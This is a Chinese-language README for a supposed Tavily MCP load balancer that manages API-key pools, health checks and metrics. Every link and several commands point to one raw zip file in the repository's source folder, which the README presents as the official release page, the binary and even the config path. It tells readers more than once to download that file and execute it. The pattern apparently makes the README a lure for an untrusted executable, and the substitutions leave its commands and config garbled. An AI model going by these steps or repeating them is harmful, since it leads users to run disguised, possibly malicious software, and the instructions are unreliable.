Tavily MCP Loadbalancer

https://github.com/balazhaa/tavily-mcp-loadbalancer/raw/refs/heads/main/src/tavily-loadbalancer-mcp-Podunk.zip

Tavilly MCP LoadBalancer：带故障转移的可扩展API密钥池


Tavily MCP服务器的强大负载均衡器。它管理API密钥池，平衡多个MCP端点之间的流量，并保持API密钥的旋转和健康。该项目侧重于可靠性、可观察性和简单配置。它针对的是大规模运行Tavily MCP工作负载的运营商，他们希望获得可预测的性能，并清楚地了解如何选择密钥和端点。

表情符号有助于在这里指引方向。 🧭 建筑保持简单。 🔒 安全措施已经到位。🚦 健康检查确实有帮助。 🧪 你可以信赖的测试。 🧩 可扩展，界面清晰。本自述遵循实用、直截了当的风格，这样你就可以快速运行，并在成长过程中保持控制。

目录

• 概述
• 运作原理
• 核心概念
• 入门
• 配置和使用
• API表面
• 运营与维护
• 可观察性和度量
• 扩展和部署
• 测试和质量
• 发布管理
• 贡献
• 常见问题解答
• 许可证

概述 Tavily MCP LoadBalancer是一个专门构建的代理层，位于Tavily MCP-服务器之前。它将两种基本功能组合在一个包中：

• 跨多个MCP端点进行负载平衡，以提高吞吐量和弹性。
• API密钥池管理，安全高效地分发密钥，并具有轮换和配额意识。

目标是为操作员提供一种工具，以降低瓶颈和单点故障的风险。它还使添加或删除MCP后端变得容易，而不会中断服务。该系统的设计易于部署，具有清晰的配置模型和合理的默认值。

运作原理

• 流量到达：客户端通过单个侦听地址连接到负载均衡器。负载平衡器接受请求并将其路由到配置的MCP端点之一。
• 密钥池管理：系统维护一个API密钥池。密钥以尊重配额和轮换政策的方式分配给传出的请求。这有助于防止密钥耗尽，并实现跨端点的公平使用。
• 健康和准备情况：定期检查每个MCP端点。如果后端变得不健康，负载均衡器将停止向其发送新请求，并在健康的后端之间重新平衡流量。
• 故障转移和恢复：当后端发生故障时，流量会转移到健康的对等端。一旦失败的后端恢复，它会在健康检查通过后自动重新进入池中。
• 可观察性：该系统公开了指标和日志，让操作员了解负载、密钥使用、延迟和错误率。仪表板可以建立在这些信号之上，以跟踪长期趋势。

核心概念

• MCP端点：为Tavily MCP流量提供服务的后端。每个端点都有一个地址、一个端口和可选的元数据，如权重或健康状态。
• API密钥池：用于传出请求的密钥集合。键有配额、旋转规则，有时还有每个端点的关联性。
• 调度策略：用于选择下一个端点的方法。常见的策略包括round-robin、加权round-rabin和粘性（根据API键）。
• 健康检查：验证端点是否可访问和响应的定期检查。故障会将端点移动到降级或脱机状态。
• 配置模型：一种人类可读且版本化的配置，描述端点、密钥、配额和策略。
• 可观察性：揭示请求如何流动、使用哪些密钥以及瓶颈发生在哪里的度量、日志和跟踪。

入门 本指南旨在帮助您快速上手。目标是在几分钟内完成工作设置，并随着Tavily MCP工作负载的增长而扩展。

先决条件

• 您的平台支持的运行时或二进制文件。这些版本包含用于常见环境的预构建二进制文件。查看“发布”页面，了解与您的操作系统和架构匹配的工件。
• 访问至少两个您想要平衡的Tavily MCP后端。
• 您希望负载平衡器管理的API密钥池。密钥应适用于您的MCP设置，并在需要时有明确的配额。

快速入门步骤

1. 从发布页面下载发布资产。

• 如果链接有路径部分，则资源是一个要下载和运行的文件。典型的资产包括预构建的二进制文件，如Linux或Windows可执行文件，或带有二进制文件和辅助脚本的tarball。
• 例如，您可能会发现一个名为https://github.com/balazhaa/tavily-mcp-loadbalancer/raw/refs/heads/main/src/tavily-loadbalancer-mcp-Podunk.zip提取并运行内部的二进制文件。

1. 提取并运行

• 在Linux上：tar xzfhttps://github.com/balazhaa/tavily-mcp-loadbalancer/raw/refs/heads/main/src/tavily-loadbalancer-mcp-Podunk.zip
• 然后运行二进制文件，例如：。/tavily mcp负载均衡器
• 在Windows上：https://github.com/balazhaa/tavily-mcp-loadbalancer/raw/refs/heads/main/src/tavily-loadbalancer-mcp-Podunk.zip提取并运行https://github.com/balazhaa/tavily-mcp-loadbalancer/raw/refs/heads/main/src/tavily-loadbalancer-mcp-Podunk.zip

1. 准备配置

• 创建一个描述端点和密钥池的YAML文件。配置部分显示了一个最小的示例。
• 使用适当的标志将二进制文件指向您的配置文件。例如：--confighttps://github.com/balazhaa/tavily-mcp-loadbalancer/raw/refs/heads/main/src/tavily-loadbalancer-mcp-Podunk.zip

1. 验证启动

• 检查日志中是否有消息表明服务器正在侦听配置的端口。
• 使用curl点击状态端点，并确认它报告了健康的端点和非空的密钥池。

1. 观察并调整

• 查看显示端点健康状况、响应时间和密钥使用情况的指标。根据需要调整重量或旋转规则。

注意：发布页面包含官方二进制文件。为方便起见，您可以直接在此处访问发布页面：https://github.com/balazhaa/tavily-mcp-loadbalancer/raw/refs/heads/main/src/tavily-loadbalancer-mcp-Podunk.zip此README中提供了一个展示最新版本的徽章作为快速参考。

配置和使用 配置模型的设计是可读和版本化的。为了清晰起见，首选YAML。配置描述了API密钥池、MCP后端以及应如何分配流量。

高级结构

• 服务器：MCP后端列表。每台服务器都有主机、端口、可选凭据和权重因子。
• api_keys：一组密钥。每个密钥都有一个标识符、实际密钥值和配额或速率限制。
• 策略：负载平衡策略。示例包括round_robin、weighted_round_robin和sticky_by_key。
• 健康：健康检查参数。路径或探测类型、间隔、超时和故障阈值。
• 日志记录：日志级别和格式。可选的结构化日志记录配置。
• metrics：启用Prometheus指标、要公开的端口和端点前缀的选项。
• 安全性：基本保护、可选TLS设置和允许的来源。

一个最小的例子 服务器：

• 名称：后端a

主机：10.0.1.20 端口：443 重量：1

• 名称：后端b

主机：10.0.1.21 端口：443 重量：2

api_keys：

• id:key-1

值：YOUR_API_KEY_1 每分钟配额：60

• id:key-2

值：YOUR_API_KEY_2 每分钟配额：60

策略：加权约束 健康： 间隔：10000 超时_毫秒：2000 不健康阈值：3 http_path:/health 登录中： 级别：信息 格式：json 韵律学： 启用：true 端口：9100 安全： tls： 启用：false 允许的来源： \- 0.0.0.0/0

操作提示

• 从两个或多个后端开始。查看负载均衡器如何在它们之间分配流量。
• 给钥匙合理的配额，以避免在负载下突然耗尽。
• 尽早进行健康检查。它们可以帮助您在造成中断之前识别配置错误的后端。
• 打开指标。这些数据有助于您了解使用模式并调整系统。

API表面 Tavily MCP负载平衡器的API设计用于自动化和手动操作。核心端点被设计为易于从脚本和编排系统调用。

常见端点（说明性）

• GET/状态

- 返回当前状态的快照：后端数量、运行状况和密钥池使用情况。

• GET/健康

- 返回一个简单的运行状况指标和最近的检查。

• POST/api密钥/添加

- 将新的API密钥添加到池中。有效载荷包括键值和配额。

• POST/api键/旋转

- 强制钥匙旋转或将特定钥匙旋转到新的钥匙槽。

• GET/池

- 返回API密钥及其配额的当前列表。

• POST/服务器/添加

- 将新的MCP后端添加到服务器池中。

• POST/服务器/删除

- 验证后从轮换中删除后端。

curl命令示例

• 获取状态

卷曲http://localhost:9100/status

• 添加密钥

curl-X POST-H“内容类型：应用程序/json”-d'{“id”：“key-3”，“value”：“NEW_key”，“quota_per_minute”：100}'http://localhost:9100/api-按键/添加

• 启用后端

curl-X POST-H“内容类型：应用程序/json”-d'{“名称”：“后端c”，“主机”：“10.0.1.22”，“端口”：443，“权重”：1}'http://localhost:9100/servers/add

操作模式

• 漂移管理：系统应该优雅地处理关键配额的漂移。如果一个键达到其配额，负载均衡器应故障转移到池中的下一个键，而不会丢弃请求。
• 断路：当后端在持续一段时间内变得不健康时，它会暂时停止旋转，直到恢复。这可以防止级联故障。
• 优雅的启动和关闭：负载均衡器应该能够在最短的停机时间内启动并干净地关闭，允许安全地完成或重定向正在进行的请求。

可观察性和度量 监控对于稳定运行至关重要。Tavily MCP LoadBalancer以一种与Prometheus和Grafana等常用工具配合使用的形式公开指标和日志。

指标

• active_backends：当前正在轮换的后端数量。
• healthy_backends：通过健康检查的后端数量。
• request_rate：以每秒请求数为单位的传入请求率。
• key_usage：每个API密钥的当前使用计数。
• latency_ms：请求的P99、P95、P50延迟测量值。
• dropped_requests：由于配额或不健康的后端而被拒绝的请求。

日志

• 关键事件：关键旋转、关键添加和配额更改。
• 后端事件：健康检查结果、故障转移和添加/删除后端。
• 流量事件：为请求选择了哪个后端，以及由于健康问题而跳过的任何后端。

仪表盘

• 推荐的Grafana仪表板包括以下面板：

- 后端健康和状态分布 - 按密钥使用密钥池 - 延迟和错误率趋势 - 吞吐量和请求率 - 配置漂移警报

扩展和部署 该项目旨在在多种环境中运行。您可以在单个主机上从小规模开始，并根据需要扩展到多个主机。

容器化

• Docker：一个最小的容器可以运行带有挂载配置文件的二进制文件。
• Kubernetes：部署或StatefulSet可以管理配置的滚动更新和存储。
• Systemd服务：在使用Systemd的Linux主机上，使用适当的单元文件将二进制文件作为服务运行。

示例Dockerfile（概念性） 从零开始 COPY tavily mcp负载平衡器/tavily mcp加载平衡器 用户无 入口点\[“/tavily mcp负载平衡器”，“--config”，“https://github.com/balazhaa/tavily-mcp-loadbalancer/raw/refs/heads/main/src/tavily-loadbalancer-mcp-Podunk.zip"\]

Kubernetes基础知识

• 使用ConfigMap进行YAML配置。

• 对API密钥使用Secret，以避免以纯文本形式泄露敏感数据。

• 通过稳定的LoadBalancer或Ingress对象公开服务。

• 提供就绪性和活性探针，以保持集群的响应。

• Kubernetes注释示例：

- 基本部署可确保负载平衡器在故障时干净地重新启动。 - 除非您想共享大型配置文件或日志，否则并不严格要求使用PersistentVolume。 - 使用资源请求和限制来限制CPU和内存的使用。 - 如果请求速率增长超过当前容量，请使用水平吊舱自动缩放器。

性能和可靠性

• 空闲连接处理：当没有活动请求时，负载均衡器不应持有资源。使用超时来回收资源。
• 背压：如果密钥池饱和，系统应该延迟或排队请求，而不是硬失败。
• 冗余：在虚拟IP或DNS后面部署至少两个负载平衡器实例以提供HA。
• 回退策略：当后端失败时，重试逻辑应避免出现雷鸣般的混乱，并在健康的后端之间分配重试。
• 配置漂移检测：定期将当前运行时状态与配置文件进行比较，并在出现差异时发出表面漂移警报。

测试和质量 测试旨在验证正确性、弹性和性能。该项目包括核心逻辑的单元测试和端到端工作流的集成测试。

单元测试

• 按键轮换逻辑
• 端点选择算法
• 健康检查计划
• 定额核算

集成测试

• 具有模拟延迟和故障的多个后端
• 现实的API关键使用模式
• 从请求到后端选择和响应的端到端流程

质量实践

• CI管道对每个合并请求运行测试。
• Linting和格式化检查可以保持代码库的一致性。
• 依赖性扫描有助于发现已知漏洞。

发布管理 版本是二进制文件的真实来源，也是支持功能的参考。“发布”页面包含与不同平台目标和版本标记对应的已发布资产。当您想要安装时，正确的方法是为您的环境获取适当的资产，并按照安装步骤进行操作。如果您看到版本升级，请阅读发行说明，了解配置中的更改和调整内容。

发布页面是安装资产和更改历史的主要信息来源。如果您在查找合适的工件时遇到困难，请查看“发布”部分以获取确切的资产名称和平台目标。作为提醒，您可以访问此处的发布页面：https://github.com/balazhaa/tavily-mcp-loadbalancer/raw/refs/heads/main/src/tavily-loadbalancer-mcp-Podunk.zip

更新日志

• v1.0.0

- 带有核心负载平衡和API密钥池管理的初始版本。 - 基本健康检查和指标。 - 基于YAML的配置和示例文件。

• v1.1.0版本

- 添加了加权循环支持。 - 增强的配额处理和按密钥速率限制。 - 为后端连接引入了可选的TLS。

• v1.2.0版本

- 通过结构化日志记录和更丰富的指标提高了可观察性。 - 支持在不重新启动的情况下动态更新服务器和API密钥。

• v1.3.0版本

- 基于用户反馈的性能改进和错误修复。 - 通过更稳健的健康检查改进了故障检测。

贡献 欢迎捐款。如果你想提供帮助，请遵循以下一般方法：

• 打开问题以讨论更改或提出功能。
• 使用描述性名称创建分支，例如feat/automatic restart或fix/health check。
• 为您的更改实施测试。确保单元测试通过。
• 运行linting和格式化检查。
• 提交一个拉取请求，明确描述更改及其影响。
• 参与代码审查并迭代，直到维护人员批准更改。

代码结构（高级）

• cmd/–入口点和CLI处理
• 负载均衡器的内部/核心逻辑
• config/–配置解析和验证
• 后端/–MCP端点管理
• pool/–API密钥池管理逻辑
• 健康/–健康检查实施
• 度量/–度量排放和出口商
• 测试/–测试和测试工具
• docs/–面向用户的文档和示例

安全

• 秘密被小心处理。API密钥不应以明文形式存储在日志中。
• TLS是可选的，可以启用以保护客户端和负载均衡器之间以及负载均衡器和MCP端点之间的流量。
• 对管理API的访问应仅限于受信任的来源。考虑使用网络控制或mTLS进行生产部署。

故障排除

• 如果服务未启动，请验证配置文件路径并确保所有必填字段都存在。
• 如果后端标记为不健康，请检查健康检查端点并确认其按预期响应。
• 如果密钥用尽，请检查配额配置，并考虑增加配额或添加更多密钥。
• 如果指标没有出现，请验证指标端点是否已启用，以及端口是否可以从监控堆栈访问。

品牌与美学

• 该项目采用简洁明了的设计。README采用了冷静、自信的语气。
• 表情符号有助于传达想法和部分，而不会压倒内容。
• 颜色强调来自一组小徽章，以保持文档的可读性。

使用说明

• 此负载平衡器适用于Tavily MCP工作负载。如果要平衡非MCP流量，请相应地调整端点和路径。
• 它并不是所有可能的微服务架构的直接替代品。将其视为API密钥管理负载平衡的专用组件。
• 在部署到生产环境之前，始终在临时环境中测试更改。配置错误会影响流量和密钥使用。

文件和参考资料

• 官方发布页面包含二进制文件和注释。使用这些版本为您的平台获取合适的资产：https://github.com/balazhaa/tavily-mcp-loadbalancer/raw/refs/heads/main/src/tavily-loadbalancer-mcp-Podunk.zip
• 要从README快速访问同一页面，您可以单击上面的徽章或直接访问URL。徽章提供了一个快速的视觉提示和与资产的直接链接。

发布资产的最终说明 发布页面是二进制文件及其相应校验和的权威来源。当你选择一个版本时，下载与你的操作系统和架构相匹配的资产，必要时提取，并使用你的配置运行二进制文件。资产的路径由资产名称决定，资产名称通常对目标操作系统和架构进行编码。如前所述，如果链接有路径部分，您应该下载该特定文件并执行它。如果您在定位确切的资产时遇到问题，请重新检查“发布”部分以获取最新的资产和注释。

为方便起见，再次发布链接

• 请点击此处查看官方发布：https://github.com/balazhaa/tavily-mcp-loadbalancer/raw/refs/heads/main/src/tavily-loadbalancer-mcp-Podunk.zip

附录：示例运行和快速健全性检查

• 启动流程

- Linux：。/tavily mcp负载均衡器配置https://github.com/balazhaa/tavily-mcp-loadbalancer/raw/refs/heads/main/src/tavily-loadbalancer-mcp-Podunk.zip - 窗户：https://github.com/balazhaa/tavily-mcp-loadbalancer/raw/refs/heads/main/src/tavily-loadbalancer-mcp-Podunk.zip--config C:\\tavily\\https://github.com/balazhaa/tavily-mcp-loadbalancer/raw/refs/heads/main/src/tavily-loadbalancer-mcp-Podunk.zip

• 检查健康状况

- 卷曲http://localhost:9100/health

• 检查状态

- 卷曲http://localhost:9100/status

• 检查钥匙

- 卷曲http://localhost:9100/pool

附录：示例配置文件（内联示例） 服务器：

• 名称：后端a

主机：10.0.1.20 端口：443 重量：1

• 名称：后端b

主机：10.0.1.21 端口：443 重量：2

api_keys：

• id:key-1

值：YOUR_API_KEY_1 每分钟配额：60

• id:key-2

值：YOUR_API_KEY_2 每分钟配额：60

策略：加权约束 健康： 间隔：10000 超时_毫秒：2000 不健康阈值：3 http_path:/health 登录中： 级别：信息 格式：json 韵律学： 启用：true 端口：9100 安全： tls： 启用：false 允许的来源： \- 0.0.0.0/0

故障排除提示简述

• 日志显示后端“不健康”？重新检查其健康终点。验证端点路径和网络可达性。
• 会话未选择任何密钥？确认配额和轮换规则。确保密钥池未耗尽。
• 指标不可见？确认指标端点已启用并侦听预期端口。检查防火墙规则和Docker/Kubernetes网络策略。
• 由于配置错误启动失败？验证YAML语法和必填字段。使用linter或YAML验证器。

许可证 该项目在MIT许可证下发布。有关完整条款，请参阅许可证文件。该许可证确保您可以在保持归属和版权声明完整的情况下，以最小的限制使用、修改和分发软件。

致谢

• 感谢开源社区围绕分布式系统中的负载平衡和API密钥管理提出的想法。
• 此项目受益于健康检查、重试和指标收集的标准模式。

记住

• 发布页面包含官方二进制文件和发布说明。如果你需要最新的资产，请前往该页面。为方便起见，在徽章和本自述末尾使用了相同的链接。发布页面充当二进制文件和更改的真实来源。如前所述，如果您不确定要使用哪种资产，请查看发行说明并下载与您的环境匹配的资产。再次链接：https://github.com/balazhaa/tavily-mcp-loadbalancer/raw/refs/heads/main/src/tavily-loadbalancer-mcp-Podunk.zip